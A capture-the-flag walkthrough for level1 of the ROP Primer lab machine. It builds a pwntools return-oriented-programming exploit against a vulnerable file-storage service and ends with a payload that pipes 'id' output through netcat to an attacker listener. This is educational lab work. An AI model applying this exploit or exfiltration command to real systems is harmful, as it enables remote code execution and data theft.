Introduction

This is walkthrough for level1 of ROP Primer from vulnhub.

Exploit Development

Running the Application

level0@rop:/home/level1$ ./level1 
[!] error bind()ing!
[+] retrying bind()
[!] error bind()ing!
^C

This means that a service is already listening on the port.

Inspecting netstat to look for listening ports.

level0@rop:~$ su root
Password: 
root@rop:/home/level0# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      778/sshd        
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      889/level1      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      857/lighttpd    
tcp        0      0 192.168.201.128:22      192.168.201.1:60814     ESTABLISHED 8169/sshd: level0 [
tcp6       0      0 :::22                   :::*                    LISTEN      778/sshd        
root@rop:/home/level0# 

We see the level1 binary is already listening on port 8888.

Connecting to port 8888.

$ nc -nv 192.168.40.128 8888
(UNKNOWN) [192.168.40.128] 8888 (?) open
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 10
 Please, send your file:

> AAAAAAAAAA
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
>   XERXES will store
   this data as '
'.
  XERXES wishes you
      a NICE day.

Copying Files to Testing Machine

$ scp [email protected]:/home/level1/level1 .
[email protected]'s password: 
level1                                   100% 9235     5.4MB/s   00:00    

$ scp [email protected]:/lib/i386-linux-gnu/libc.so.6 .
[email protected]'s password: 
libc.so.6                                100% 1718KB   2.3MB/s   00:00    
                                                                               $ ls -l
total 1736
-rwxr-xr-x 1 kali kali    9235 Nov  5 07:30 level1
-rwxr-xr-x 1 kali kali 1758972 Nov  5 07:31 libc.so.6

Attempting to Crash the Application

Running the application locally and attempting to crash the application.

$ ./level1

$ netstat -antp 
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      3917/./level1

Enabling core dump with ulimit -c unlimited so that core is dumped in case of a crash.

The application has 3 functions:

  • store
  • read
  • exit

I know this is stupid, but attempted to read the flag with the read option.

$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> read 
  Please, give a filename to read:
> flag
  XERXES demands your capture
    or destruction.
  Have a NICE day.

store allows to define size of file, its contents and its file name.

$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 10
 Please, send your file:

> 12345
   XERXES regrets to inform you
    that an error occurred
        while receiving your file.
 Please, give a filename:
> testfile
  XERXES will store
   this data as 'testfile
'.
  XERXES wishes you
      a NICE day.

The file testfile is indeed created.

$ ls -l testfile*                    
-rw------- 1 kali kali 10 Nov  5 07:58 'testfile'$'\n'
$ cat testfile$'\n'    
12345

Attempting to crash the program via the file contents in store menu. If we define a file of size 10 bytes and give contents with size more than 10 bytes, It might result in a crash.

$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 10
 Please, send your file:

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
>   XERXES will store
   this data as 'AAAAAAAAAA'.
  XERXES wishes you
      a NICE day.

When doing so, we can that the program does not crash and now does not ask for filename, instead takes string from file content as the file name.

$ ls -l AAAAAAAAAA 
-rw------- 1 kali kali 10 Nov  5 08:01 AAAAAAAAAA

$ cat AAAAAAAAAA   
AAAAAAAAAA

Next candidate for attempting a crash would be the filename. Specifying following details when storing a file crashed the application and generated a coredump.

  • store
  • file size = 100 bytes
  • file name - A*2200
$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 100
 Please, send your file:

> AAAAAAA
   XERXES regrets to inform you
    that an error occurred
        while receiving your file.
 Please, give a filename:
> AAAAA.....AAAAAAAAAA		# 2200 A's

Inspecting coredump:

$ gdb ./level1 -q core
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 7226]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$ x/50xw $esp
0xbfa45460:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfa45470:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfa45480:     0x00000000      0x00000000      0x00000004      0x00000003
0xbfa45490:     0xbfa4638f      0x00000070      0xb7f12020      0xb7c213b5
0xbfa454a0:     0x00000001      0xbfa45554      0xbfa4555c      0xbfa454c0
0xbfa454b0:     0xb7e20ff4      0x08048d19      0x00000001      0xbfa45554
0xbfa454c0:     0xb7e20ff4      0xbfa45554      0xb7f11b80      0xb7f12020
0xbfa454d0:     0x0888929c      0xc407388c      0x00000000      0x00000000
0xbfa454e0:     0x00000000      0xb7f11b80      0xb7f12020      0xb0270700
0xbfa454f0:     0xb7f12a40      0xb7c21346      0xb7e20ff4      0xb7c2147f
0xbfa45500:     0x00000000      0xb7f11ff4      0x00000001      0x080487b0
0xbfa45510:     0x00000000      0xb7eeea80      0xb7c213f9      0xb7f11ff4
0xbfa45520:     0x00000001      0x080487b0
gdb-peda$

We have successfully crashed the appliction and overwrote EIP.

Finding EIP Offset

$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 100 
 Please, send your file:

> AAAAAAA
   XERXES regrets to inform you
    that an error occurred
        while receiving your file.
 Please, give a filename:
> Aa0Aa1Aa...v0Cv1Cv2C		# msfvenom pattern_create.rb -l 2200

Inspecting the core dump:

$ gdb ./level1 -q core
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 8466]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x63413163 in ?? ()
gdb-peda$

Finding offset:

$ `locate pattern_offset.rb` -q 0x63413163
[*] Exact match at offset 64

Shared Library Dependencies

level0@rop:/home/level1$ ls -l
total 16
-rw-rw-r-- 1 level0 level0    0 Mar  5  2015 bleh
-rw------- 1 level2 level2   53 Jan 20  2015 flag
-rwsr-xr-x 1 level2 level2 9235 Jan 20  2015 level1
level0@rop:/home/level1$ ldd level1 
        linux-gate.so.1 =>  (0xb7fff000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e46000)
        /lib/ld-linux.so.2 (0x80000000)

Available Functions

$ gdb ./level1 -q            
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x080485ec  _init
0x08048630  strstr@plt
0x08048640  read@plt
0x08048650  free@plt
0x08048660  sleep@plt
0x08048670  htons@plt
0x08048680  accept@plt
0x08048690  malloc@plt
0x080486a0  puts@plt
0x080486b0  __gmon_start__@plt
0x080486c0  exit@plt
0x080486d0  open@plt
0x080486e0  strlen@plt
0x080486f0  __libc_start_main@plt
0x08048700  write@plt
0x08048710  bind@plt
0x08048720  memset@plt
0x08048730  snprintf@plt
0x08048740  fork@plt
0x08048750  htonl@plt
0x08048760  listen@plt
0x08048770  atoi@plt
0x08048780  socket@plt
0x08048790  strncmp@plt
0x080487a0  close@plt
0x080487b0  _start
0x080487e0  deregister_tm_clones
0x08048810  register_tm_clones
0x08048850  __do_global_dtors_aux
0x08048870  frame_dummy
0x0804889c  write_buf
0x080488cb  write_file
0x08048915  handle_conn
0x08048d19  main
0x08048e90  __libc_csu_fini
0x08048ea0  __libc_csu_init
0x08048efa  __i686.get_pc_thunk.bx
0x08048f00  _fini

Binary Protection Info

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$

Dumping .PLT Section

$ objdump -j .plt -d level1 -M intel

level1:     file format elf32-i386


Disassembly of section .plt:

08048620 <.plt>:
 8048620:       ff 35 fc a3 04 08       push   DWORD PTR ds:0x804a3fc
 8048626:       ff 25 00 a4 04 08       jmp    DWORD PTR ds:0x804a400
 804862c:       00 00                   add    BYTE PTR [eax],al
        ...

08048630 <strstr@plt>:
 8048630:       ff 25 04 a4 04 08       jmp    DWORD PTR ds:0x804a404
 8048636:       68 00 00 00 00          push   0x0
 804863b:       e9 e0 ff ff ff          jmp    8048620 <.plt>

08048640 <read@plt>:
 8048640:       ff 25 08 a4 04 08       jmp    DWORD PTR ds:0x804a408
 8048646:       68 08 00 00 00          push   0x8
 804864b:       e9 d0 ff ff ff          jmp    8048620 <.plt>

08048650 <free@plt>:
 8048650:       ff 25 0c a4 04 08       jmp    DWORD PTR ds:0x804a40c
 8048656:       68 10 00 00 00          push   0x10
 804865b:       e9 c0 ff ff ff          jmp    8048620 <.plt>

08048660 <sleep@plt>:
 8048660:       ff 25 10 a4 04 08       jmp    DWORD PTR ds:0x804a410
 8048666:       68 18 00 00 00          push   0x18
 804866b:       e9 b0 ff ff ff          jmp    8048620 <.plt>

08048670 <htons@plt>:
 8048670:       ff 25 14 a4 04 08       jmp    DWORD PTR ds:0x804a414
 8048676:       68 20 00 00 00          push   0x20
 804867b:       e9 a0 ff ff ff          jmp    8048620 <.plt>

08048680 <accept@plt>:
 8048680:       ff 25 18 a4 04 08       jmp    DWORD PTR ds:0x804a418
 8048686:       68 28 00 00 00          push   0x28
 804868b:       e9 90 ff ff ff          jmp    8048620 <.plt>

08048690 <malloc@plt>:
 8048690:       ff 25 1c a4 04 08       jmp    DWORD PTR ds:0x804a41c
 8048696:       68 30 00 00 00          push   0x30
 804869b:       e9 80 ff ff ff          jmp    8048620 <.plt>

080486a0 <puts@plt>:
 80486a0:       ff 25 20 a4 04 08       jmp    DWORD PTR ds:0x804a420
 80486a6:       68 38 00 00 00          push   0x38
 80486ab:       e9 70 ff ff ff          jmp    8048620 <.plt>

080486b0 <__gmon_start__@plt>:
 80486b0:       ff 25 24 a4 04 08       jmp    DWORD PTR ds:0x804a424
 80486b6:       68 40 00 00 00          push   0x40
 80486bb:       e9 60 ff ff ff          jmp    8048620 <.plt>

080486c0 <exit@plt>:
 80486c0:       ff 25 28 a4 04 08       jmp    DWORD PTR ds:0x804a428
 80486c6:       68 48 00 00 00          push   0x48
 80486cb:       e9 50 ff ff ff          jmp    8048620 <.plt>

080486d0 <open@plt>:
 80486d0:       ff 25 2c a4 04 08       jmp    DWORD PTR ds:0x804a42c
 80486d6:       68 50 00 00 00          push   0x50
 80486db:       e9 40 ff ff ff          jmp    8048620 <.plt>

080486e0 <strlen@plt>:
 80486e0:       ff 25 30 a4 04 08       jmp    DWORD PTR ds:0x804a430
 80486e6:       68 58 00 00 00          push   0x58
 80486eb:       e9 30 ff ff ff          jmp    8048620 <.plt>

080486f0 <__libc_start_main@plt>:
 80486f0:       ff 25 34 a4 04 08       jmp    DWORD PTR ds:0x804a434
 80486f6:       68 60 00 00 00          push   0x60
 80486fb:       e9 20 ff ff ff          jmp    8048620 <.plt>

08048700 <write@plt>:
 8048700:       ff 25 38 a4 04 08       jmp    DWORD PTR ds:0x804a438
 8048706:       68 68 00 00 00          push   0x68
 804870b:       e9 10 ff ff ff          jmp    8048620 <.plt>

08048710 <bind@plt>:
 8048710:       ff 25 3c a4 04 08       jmp    DWORD PTR ds:0x804a43c
 8048716:       68 70 00 00 00          push   0x70
 804871b:       e9 00 ff ff ff          jmp    8048620 <.plt>

08048720 <memset@plt>:
 8048720:       ff 25 40 a4 04 08       jmp    DWORD PTR ds:0x804a440
 8048726:       68 78 00 00 00          push   0x78
 804872b:       e9 f0 fe ff ff          jmp    8048620 <.plt>

08048730 <snprintf@plt>:
 8048730:       ff 25 44 a4 04 08       jmp    DWORD PTR ds:0x804a444
 8048736:       68 80 00 00 00          push   0x80
 804873b:       e9 e0 fe ff ff          jmp    8048620 <.plt>

08048740 <fork@plt>:
 8048740:       ff 25 48 a4 04 08       jmp    DWORD PTR ds:0x804a448
 8048746:       68 88 00 00 00          push   0x88
 804874b:       e9 d0 fe ff ff          jmp    8048620 <.plt>

08048750 <htonl@plt>:
 8048750:       ff 25 4c a4 04 08       jmp    DWORD PTR ds:0x804a44c
 8048756:       68 90 00 00 00          push   0x90
 804875b:       e9 c0 fe ff ff          jmp    8048620 <.plt>

08048760 <listen@plt>:
 8048760:       ff 25 50 a4 04 08       jmp    DWORD PTR ds:0x804a450
 8048766:       68 98 00 00 00          push   0x98
 804876b:       e9 b0 fe ff ff          jmp    8048620 <.plt>

08048770 <atoi@plt>:
 8048770:       ff 25 54 a4 04 08       jmp    DWORD PTR ds:0x804a454
 8048776:       68 a0 00 00 00          push   0xa0
 804877b:       e9 a0 fe ff ff          jmp    8048620 <.plt>

08048780 <socket@plt>:
 8048780:       ff 25 58 a4 04 08       jmp    DWORD PTR ds:0x804a458
 8048786:       68 a8 00 00 00          push   0xa8
 804878b:       e9 90 fe ff ff          jmp    8048620 <.plt>

08048790 <strncmp@plt>:
 8048790:       ff 25 5c a4 04 08       jmp    DWORD PTR ds:0x804a45c
 8048796:       68 b0 00 00 00          push   0xb0
 804879b:       e9 80 fe ff ff          jmp    8048620 <.plt>

080487a0 <close@plt>:
 80487a0:       ff 25 60 a4 04 08       jmp    DWORD PTR ds:0x804a460
 80487a6:       68 b8 00 00 00          push   0xb8
 80487ab:       e9 70 fe ff ff          jmp    8048620 <.plt>

Basic Exploit Skeleton

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)

args = parser.parse_args()

host = args.target
port = args.port  

r = remote(host, port)  
print (r.recvuntil(b">"))

r.send(b"store")
print (r.recvuntil(b">"))

r.send(b"100")
print (r.recvuntil(b">"))

r.send(b"AAAAA")    
print (r.recvuntil(b">"))

payload = b"A"*64  
payload += p32(0x42424242)      # EIP
payload += b"C"*32

r.send(payload)

Running the poc to crash the application.

$ python level1.py -t 127.0.0.1 -p 8888       
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Opening connection to 127.0.0.1 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n  available commands are:\n  store, read, exit.\n\n>'
b'  Please, how many bytes is your file?\n\n>'
b'  Please, send your file:\n\n>'
b'    XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 127.0.0.1 port 8888

Inspecting coredump, EIP overwritten with 0x42424242:

$ gdb ./level1 -q core                        
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 18300]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()
gdb-peda$ x/s $esp
0xbfa45460:     'C' <repeats 32 times>
gdb-peda$ x/8xw $esp
0xbfa45460:     0x43434343      0x43434343      0x43434343      0x43434343
0xbfa45470:     0x43434343      0x43434343      0x43434343      0x43434343
gdb-peda$ x/16xw $esp
0xbfa45460:     0x43434343      0x43434343      0x43434343      0x43434343
0xbfa45470:     0x43434343      0x43434343      0x43434343      0x43434343
0xbfa45480:     0x00000000      0x00000000      0x00000004      0x00000003
0xbfa45490:     0xbfa4638f      0x00000070      0xb7f12020      0xb7c213b5
gdb-peda$

Approach

  • Use read() to read the command string from socket file descriptor and save at some address - .bss.
    • Challenge - finding the socket file descriptor of our accepted connection to read from.
  • Since ASLR is disabled on challenge binary and on the OS itself, use system() to execute command.

Finding Socket File Descriptor

To find the socket file descriptor of our connection, we can set a break point on the accept() and see the return value of accept().

int accept(int sockfd, struct sockaddr *restrict addr, 
                  socklen_t *restrict addrlen);

The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor referring to that socket. The newly created socket is not in the listening state. The original socket sockfd is unaffected by this call.

So, once connection is accepted, a new socket file descriptor is created.

Setting breakpoint on the accept() to see the sockfd.

$ gdb ./level1 -q
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
gdb-peda$ b accept
Breakpoint 1 at 0x8048680
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/rop-primer/level1/level1 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
EAX: 0x3 
[..]
EIP: 0xb7d1e310 (<__libc_accept>:       push   esi)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7d1e30a:  xchg   ax,ax
   0xb7d1e30c:  xchg   ax,ax
   0xb7d1e30e:  xchg   ax,ax
=> 0xb7d1e310 <__libc_accept>:  push   esi
[..]
[------------------------------------stack-------------------------------------]
0000| 0xbffff06c --> 0x8048e0c (<main+243>:     mov    DWORD PTR [esp+0x28],eax)
0004| 0xbffff070 --> 0x3		# sockfd
0008| 0xbffff074 --> 0x0 
0012| 0xbffff078 --> 0x0 
0016| 0xbffff07c --> 0xb7fc14a0 --> 0xb7c00000 --> 0x464c457f 
0020| 0xbffff080 --> 0xbffff0c0 --> 0xb7e20ff4 --> 0x220d8c 
0024| 0xbffff084 --> 0xb8220002 
0028| 0xbffff088 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __libc_accept (fd=0x3, addr=..., len=0x0) at ../sysdeps/unix/sysv/linux/accept.c:24
24      ../sysdeps/unix/sysv/linux/accept.c: No such file or directory.
gdb-peda$ 

We try to connect to the application.

$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open

Now run finish to return from accept().

gdb-peda$ finish
Run till exit from #0  __libc_accept (fd=0x3, addr=..., len=0x0) at ../sysdeps/unix/sysv/linux/accept.c:24
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0xb7e20ff4 --> 0x220d8c 
ECX: 0x0 
EDX: 0x0 
ESI: 0xbffff164 --> 0xbffff327 ("/home/kali/Desktop/rop/rop-primer/level1/level1")
EDI: 0xb7ffeb80 --> 0x0 
EBP: 0xbffff0a8 --> 0xb7fff020 --> 0xb7fffa40 --> 0x0 
ESP: 0xbffff070 --> 0x3 
EIP: 0x8048e0c (<main+243>:     mov    DWORD PTR [esp+0x28],eax)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e00 <main+231>:        mov    eax,DWORD PTR [esp+0x2c]
   0x8048e04 <main+235>:        mov    DWORD PTR [esp],eax
   0x8048e07 <main+238>:        call   0x8048680 <accept@plt>
=> 0x8048e0c <main+243>:        mov    DWORD PTR [esp+0x28],eax
   0x8048e10 <main+247>:        call   0x8048740 <fork@plt>
   0x8048e15 <main+252>:        mov    DWORD PTR [esp+0x24],eax
   0x8048e19 <main+256>:        cmp    DWORD PTR [esp+0x24],0x0
   0x8048e1e <main+261>:        jns    0x8048e44 <main+299>
[------------------------------------stack-------------------------------------]
0000| 0xbffff070 --> 0x3 
0004| 0xbffff074 --> 0x0 
0008| 0xbffff078 --> 0x0 
0012| 0xbffff07c --> 0xb7fc14a0 --> 0xb7c00000 --> 0x464c457f 
0016| 0xbffff080 --> 0xbffff0c0 --> 0xb7e20ff4 --> 0x220d8c 
0020| 0xbffff084 --> 0xb8220002 
0024| 0xbffff088 --> 0x0 
0028| 0xbffff08c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048e0c in main ()
Value returned is $1 = 0x4
gdb-peda$

We see the new socket file descritor returned by accept - 0x4. This is stored in EAX as well.

Updating PoC to read the command string from our socket with sockfd = 0x4 and save at .bss address.:

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)
parser.add_argument("-c","--command", help="Command to Run", required=True)

args = parser.parse_args()

host = args.target
port = args.port
cmd = b"%s\x00" % args.command.encode()

read_plt = 0x08048640
bss_buf = 0x0804a46c
fake_ret = 0xcafebabe
pop3ret = 0x8048ef6

r = remote(host, port)
print (r.recvuntil(b">"))

r.send(b"store")
print (r.recvuntil(b">"))

r.send(b"100")
print (r.recvuntil(b">"))

r.send(b"AAAAA")
print (r.recvuntil(b">"))

payload = b"A"*64

# we only have 32 byte space on stack after eip overwrite

# read from socket stdin and write to .bss
# ssize_t read(int fd, void *buf, size_t count);

payload += p32(read_plt)        # read@plt      ; eip overwrite
payload += p32(fake_ret) # ret addr of read@plt; pppr or fake_ret
payload += p32(0x4)             # fd; stdin = sockfd
payload += p32(bss_buf)         # *buf; place to store command string; .bss
payload += p32(len(cmd))        # count; length of command

payload += (100-len(payload)) * b"C"

r.send(payload)

# send the command to store at .bss
# read() is expecting it from socket stdin
r.send(cmd)

Running against local instance in kali.

  • python level1.py -t 127.0.0.1 -p 8888 -c "/usr/bin/id"
$ python level1.py -t 127.0.0.1 -p 8888 -c "/usr/bin/id"
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Opening connection to 127.0.0.1 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n  available commands are:\n  store, read, exit.\n\n>'
b'  Please, how many bytes is your file?\n\n>'
b'  Please, send your file:\n\n>'
b'    XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 127.0.0.1 port 8888

Checking the coredump to see if the string is stored at .bss address.

$ gdb ./level1 -q core                                  
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 16026]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xcafebabe in ?? ()
gdb-peda$ x/s 0x0804a46c
0x804a46c <completed.5730>:     "/usr/bin/id"
gdb-peda$ 

Excellent!. Now updating the PoC to call system. Below is from kali libc.so and not challenge machine libc.so.

gdb-peda$ p system
$1 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$

Updated PoC to call system.

from pwn import *
import argparse


parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)
parser.add_argument("-c","--command", help="Command to Run", required=True)

args = parser.parse_args()

host = args.target
port = args.port
cmd = b"%s\x00" % args.command.encode()

read_plt = 0x08048640
bss_buf = 0x0804a46c
fake_ret = 0xcafebabe
pop3ret = 0x8048ef6

read_got_plt = 0x804a408

r = remote(host, port)
print (r.recvuntil(b">"))

r.send(b"store")
print (r.recvuntil(b">"))

r.send(b"100")
print (r.recvuntil(b">"))

r.send(b"AAAAA")
print (r.recvuntil(b">"))


payload = b"A"*64


# we only have 32 byte space on stack after eip overwrite

# read from socket stdin and write to .bss
# ssize_t read(int fd, void *buf, size_t count);

payload += p32(read_plt)        # read@plt      ; eip overwrite
payload += p32(pop3ret) 	# ret addr of read@plt; pppr or fake_ret
payload += p32(0x4)             # fd; stdin = sockfd
payload += p32(bss_buf)         # *buf; place to store command string; .bss
payload += p32(len(cmd))        # count; length of command

payload += p32(0xb7c47040)      # system address from kali libc.so
payload += p32(fake_ret)	# return address
payload += p32(bss_buf)		# address pointing to the command string

payload += (100-len(payload)) * b"C"

r.send(payload)

# send the command to store at .bss
# read() is expecting it from socket stdin
r.send(cmd)

Running against local instance of challenge running on kali.

$ python level1.py -t 127.0.0.1 -p 8888 -c "/usr/bin/id"
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Opening connection to 127.0.0.1 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n  available commands are:\n  store, read, exit.\n\n>'
b'  Please, how many bytes is your file?\n\n>'
b'  Please, send your file:\n\n>'
b'    XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 127.0.0.1 port 8888

$ gdb ./level1 -q core                                  
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 17772]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xcafebabe in ?? ()
gdb-peda$ x/s 0x0804a46c
0x804a46c <completed.5730>:     "/usr/bin/id"
gdb-peda$

Indeed our command got executed, we can see the output in the window where our level1 process is running.

$ ./level1
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)

Updating the Exploit for Target System

We just need to update the address of system() with respect to target libc.so.6.

Finding PID of level1.

level0@rop:~$ su root
Password: 
root@rop:/home/level0# ps aux | grep level
level2     896  0.0  0.0   2024   276 ?        S    08:35   0:00 ./level1
level0     928  0.0  0.6   6868  3312 tty1     S    08:39   0:00 -bash
level2     944  0.0  0.0      0     0 ?        Z    08:40   0:00 [level1] <defunct>
level2     977  0.0  0.0      0     0 ?        Z    08:47   0:00 [level1] <defunct>
level2     981  0.0  0.0      0     0 ?        Z    08:47   0:00 [level1] <defunct>
root       988  0.1  0.7  11196  3764 ?        Ss   09:48   0:00 sshd: level0 [priv] 
level0    1003  0.0  0.3  11196  1680 ?        S    09:48   0:00 sshd: level0@pts/0  
level0    1004  0.2  0.6   6860  3144 pts/0    Ss   09:48   0:00 -bash
root      1030  0.0  0.1   4680   832 pts/0    S+   09:48   0:00 grep --color=auto level

Attaching to level1 process PID.

root@rop:/home/level0# gdb -p 896 -q
Attaching to process 896
[..]
Reading symbols from /home/level1/level1...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
[----------------------------------registers-----------------------------------]
EAX: 0xfffffe00 
[..]
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
[..]
=> 0xb7fdd424 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdd425 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdd426 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdd427 <__kernel_vsyscall+19>:   ret    
   0xb7fdd428:  add    BYTE PTR [esi],ch
[------------------------------------stack-------------------------------------]
[..]
0028| 0xbffffd68 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7fdd424 in __kernel_vsyscall ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e65190 <system>
gdb-peda$ 
  • system() address from target system - 0xb7e65190

Final PoC:

from pwn import *
import argparse


parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)
parser.add_argument("-c","--command", help="Command to Run", required=True)

args = parser.parse_args()

host = args.target
port = args.port
cmd = b"%s\x00" % args.command.encode()

read_plt = 0x08048640
bss_buf = 0x0804a46c
fake_ret = 0xcafebabe
pop3ret = 0x8048ef6

read_got_plt = 0x804a408

r = remote(host, port)
print (r.recvuntil(b">"))

r.send(b"store")
print (r.recvuntil(b">"))

r.send(b"100")
print (r.recvuntil(b">"))

r.send(b"AAAAA")
print (r.recvuntil(b">"))


payload = b"A"*64


# we only have 32 byte space on stack after eip overwrite

# read from socket stdin and write to .bss
# ssize_t read(int fd, void *buf, size_t count);

payload += p32(read_plt)        # read@plt      ; eip overwrite
payload += p32(pop3ret) 	# ret addr of read@plt; pppr or fake_ret
payload += p32(0x4)             # fd; stdin = sockfd
payload += p32(bss_buf)         # *buf; place to store command string; .bss
payload += p32(len(cmd))        # count; length of command

#payload += p32(0xb7c47040)      # system address from kali libc.so
payload += p32(0xb7e65190)      # system address from rop primer libc.so.6
payload += p32(fake_ret)	# return address
payload += p32(bss_buf)		# address pointing to the command string

payload += (100-len(payload)) * b"C"

r.send(payload)

# send the command to store at .bss
# read() is expecting it from socket stdin
r.send(cmd)

Running against challenge machine to run id command and send to attacker machine on port 4444.

  • python level1.py -t 192.168.80.158 -p 8888 -c "/usr/bin/id | nc 192.168.80.157 4444"
$ python level1.py -t 192.168.80.158 -p 8888 -c "/usr/bin/id | nc 192.168.80.157 4444"
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Opening connection to 192.168.80.158 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n  available commands are:\n  store, read, exit.\n\n>'
b'  Please, how many bytes is your file?\n\n>'
b'  Please, send your file:\n\n>'
b'    XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 192.168.80.158 port 8888

We recieve the following from on netcat listener.

$ nc -nvlp 4444
listening on [any] 4444 ...
